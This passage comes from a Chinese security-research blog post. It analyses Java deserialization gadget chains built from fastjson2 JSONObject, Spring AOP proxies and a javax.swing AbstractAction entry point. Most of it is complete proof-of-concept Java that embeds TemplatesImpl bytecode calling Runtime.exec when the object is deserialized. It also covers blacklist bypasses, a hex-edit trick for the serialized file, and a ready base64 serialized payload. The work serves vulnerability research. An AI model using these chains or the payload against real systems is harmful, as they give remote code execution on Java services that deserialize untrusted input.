cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` ———————— #### ObjectFactoryDelegatingInvocationHandler+JSONObject链 这个类是一个内部类，实现了InvocationHandler和Serializable两个接口，在spring-beans依赖中，而spring-aop中本身就拉入了spring-beans依赖：  所以也是可以说spring中都能打的。 跟进这个类的invoke()方法：  非常清晰了，只是需要代理类调用getOutputProperties，这个好解决，代理类设置Templates.class接口即可，再看一下是否有可利用的ObjectFactory类，这是一个接口类，但是并没有合适的重写的方法，但是看参考文章，利用了JSONObject类的invoke()方法：  这个类也能被代理，跟进它的invoke()方法：  先获取方法名，然后方法参数个数，后续跟进的代码应该是如下：  可以知道参数个数为0，然后对getter方法进行处理，然后调用get()方法来进行获取值：  跟进发现其实就是LinkedHashMap中取值，直接往里面放入一个键值对即可。 最后的poc如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.beans.factory.ObjectFactory; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); //第一个JSONObject代理 JSONObject jsonObject0 = new JSONObject(); jsonObject0.put("object",templates); Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0); //第二个代理 Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class); constructor.setAccessible(true); Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0)); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxy1); //toString BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 运行在反序列化时弹出计算机，并且调试符合前面的过程。 同样是可以使用两个接口来进行前面所述的利用： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.beans.factory.ObjectFactory; import javax.management.MBeanServer; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); //第一个SONObject代理 JSONObject jsonObject0 = new JSONObject(); jsonObject0.put("object",templates); Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0); //第二个代理 Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class); constructor.setAccessible(true); Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0)); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxy1); //toString BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。 同样在最新版本2.0.58也能打。 非常好的绕过方式，可惜大部分情况应该都是只能在spring下打，当然如参考文章一样，还可以尝试打没ban的类，而不是就磕TemplatesImpl，比如我的c3p0分析文章就有一个反序列化打jndi。 ### 新的反序列化toString入口类 #### 基本说明 在先知文章看到的一个新的入口点： <https://xz.aliyun.com/news/18467> 文中提到的链子如下： ```php javax.swing.AbstractAction#readObject -> javax.swing.AbstractAction#putValue -> javax.swing.AbstractAction#firePropertyChange -> com.sun.org.apache.xpath.internal.objects.XString#equals ``` 所以这里只是换了一个入口类而已，但是这里的一个思想非常好，当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类（注意后续链子的类是否被ban，这些都是需要考虑的），但是都绕不开一个点就是XString，先来跟一下基本的链子： AbstractAction类的readObject()方法：  再跟进putValue()方法：  再看firePropertyChange()方法：  很明显了，这里就是要让oldValue为为String，让newValue为例如JSONObject这种要利用其toString方法的类。 再看writeObject()方法：  整个过程都是与arrayTable变量相关的：  由于实现了transient，故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。 基本过程已经清楚，现在来尝试构造。 #### 尝试构造 首先可以看到AbstractAction是一个抽象类，不能直接序列化，需要找它的实现类来作为入口点：  这里就直接同参考文章一样用AlignmentAction类作为入口，这里应该**第二个ActivateLinkAction应该也可以用**，具体就到时候看有无黑名单吧。 来看AlignmentAction的构造函数：  这里会一直向上传递String类型的nm参数，直到AbstractAction类的“实例化”：  NAME变量定义如下：  故这里会在实例化时就放进去一个键值对。 这里有一个不得不说的逻辑，且看慢慢道来，先看AbstractAction类的putValue()方法： ```java public void putValue(String key, Object newValue) { Object oldValue = null; if (key == "enabled") { if (newValue == null || !(newValue instanceof Boolean)) { newValue = false; } oldValue = enabled; enabled = (Boolean)newValue; } else { if (arrayTable == null) { arrayTable = new ArrayTable(); } if (arrayTable.containsKey(key)) oldValue = arrayTable.get(key); // Remove the entry for key if newValue is null // else put in the newValue for key. if (newValue == null) { arrayTable.remove(key); } else { arrayTable.put(key,newValue); } } firePropertyChange(key, oldValue, newValue); } ``` 毫无疑问这里主要的逻辑就是： ```java arrayTable = new ArrayTable(); arrayTable.put(key,newValue); firePropertyChange(key, oldValue, newValue); ``` 也就是放入键值对并进行比较的问题。从代码逻辑可以看出，每次putValue后都会调用一次firePropertyChange()方法：  这里有一个非常关键的逻辑：**||（逻辑或），也就是只要左边为true，右边就不会再进行计算，整个条件就会被判定为真**。所以在<u>序列化前放入键值对无影响</u>，但是反序列化时需要有这个变量，故我**在序列化前调用反射修改值**即可，并且什么，还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机，原因很好理解了就不多说了。 跟进changeSupport变量的定义：  找到对应的SwingPropertyChangeSupport类：  故我反射修改变量changeSupport为这个类实例即可。 **并且**在putValue()方法的代码逻辑中，可以看到要是`newValue == null`，arrayTable就会删除对应的键值对，所以其实虽然“实例化”时放入了一个键值对，我们这里通过调用`putValue("Name",null)`直接删除即可。 故可以简单尝试构造如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javax.xml.transform.Templates; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import com.sun.org.apache.xpath.internal.objects.XString; import javax.swing.text.StyledEditorKit; import javax.swing.event.SwingPropertyChangeSupport; import java.util.HashMap; public class Main{ public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); XString xstring = new XString("fupanc1233"); StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1); alignmentAction.putValue("Name",null); alignmentAction.putValue("fupanc1",xstring); alignmentAction.putValue("fupanc2",jsonObject); //任意可序列化的类作为参数都行 HashMap hashMap = new HashMap(); SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap); setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(alignmentAction); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = null; while (clazz != null) { try { field = clazz.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (field == null) { throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy."); } field.setAccessible(true); field.set(obj, value); } } ``` 未成功，打断点调试一下，发现是我想当然了，主要问题点存在这里：  从调试过程看，确实成功放入了两个键值对，但是在第二次调用putValue()方法时，如图可见oldValue的值竟然为null，这一部分确实是我之前疏忽的，**这里的oldValue取值的get(key)的key是和newValue的key是一样的**，所以导致在反序列化时并没有对应的值而使得oldValue值为null，但是我们并不能在序列化前放入key相同的两个键值对，简单跟进Arraytable类的put()方法：  很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉，否则就是下面这个可以放进去两个值。 但是师傅给出了一个非常妙的思路，就是**先像前面一样放进去两个值，然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key**（尝试过直接修改文件，会报格式错误，所以还是用编辑器来改吧）。并且再看一下反序列化流程，是完全可行的：  虽然在调用arrayTable.put()还是会覆盖，但是我们已经获取到了oldValue，也就是可控的XString类实例，那么这里在调用firePropertyChange就完全符合前面的链子了，所以最后的payload如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javax.xml.transform.Templates; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import com.sun.org.apache.xpath.internal.objects.XString; import javax.swing.text.StyledEditorKit; import javax.swing.event.SwingPropertyChangeSupport; import java.util.HashMap; public class Main{ public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); XString xstring = new XString("text"); StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1); alignmentAction.putValue("Name",null); alignmentAction.putValue("fupanc1",xstring); alignmentAction.putValue("fupanc2",jsonObject); //任意可序列化的类作为参数都行 HashMap hashMap = new HashMap(); SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap); setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(alignmentAction); out.close(); // ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); // in.readObject(); // in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = null; while (clazz != null) { try { field = clazz.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (field == null) { throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy."); } field.setAccessible(true); field.set(obj, value); } } ``` 然后使用编辑器将生成的ser.ser文件的31改成32，即1=>2：  然后就可以愉快的反序列化弹计算机了：  **是一个非常好的思路，还可以先正常生成两个键值对，然后再通过编辑器修改成想要的值，达到既定的效果**。 最后贴一个mac环境下的paylaod验证： ```java package org.example; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64; public class Main { public static void main(String[] args) throws Exception { // byte[] data = Files.readAllBytes(Paths.get("ser.ser")); // System.out.println(Base64.getEncoder().encodeToString(data)); String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0cy5YT2JqZWN09JgSCbt7thkCAAFMAAVtX29ianEAfgAJeHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAEdGV4dHQAB2Z1cGFuYzJzcgAgY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05PYmplY3QAAAAAAAAAAQIAAHhyABdqYXZhLnV0aWwuTGlua2VkSGFzaE1hcDTATlwQbMD7AgABWgALYWNjZXNzT3JkZXJ4cQB+AAs/QAAAAAAADHcIAAAAEAAAAAF0AAZmdXBhbmNzfQAAAAEAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIABFoADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDtbABFwcm94aWVkSW50ZXJmYWNlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAVaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAIYWR2aXNvcnN0ABBMamF2YS91dGlsL0xpc3Q7TAAKaW50ZXJmYWNlc3EAfgAjTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcQB+ACkAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXRxAH4ACXhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AH0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGmyv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABJvcGVuIC1hIENhbGN1bGF0b3IIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABYBAAY8aW5pdD4MABgACAoAFwAZACEAAgAXAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAGAAIAAEACQAAABEAAQABAAAABSq3ABqxAAAAAAABAAUAAAACAAZwcQB+ABhwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAA3ZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhweAB4AAAAAQ=="; ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(payload))); ois.readObject(); ois.close(); } } ``` 参考文章： [https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3\_uWL2Q](https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q) <https://xz.aliyun.com/news/14333> <https://arthas.aliyun.com/doc/quick-start.html> <https://xz.aliyun.com/news/18467>
发表于 2025-10-21 10:00:51
阅读 ( 2128 )
分类：
漏洞分析
1 推荐
收藏
1 条评论
fupanc
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号，注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
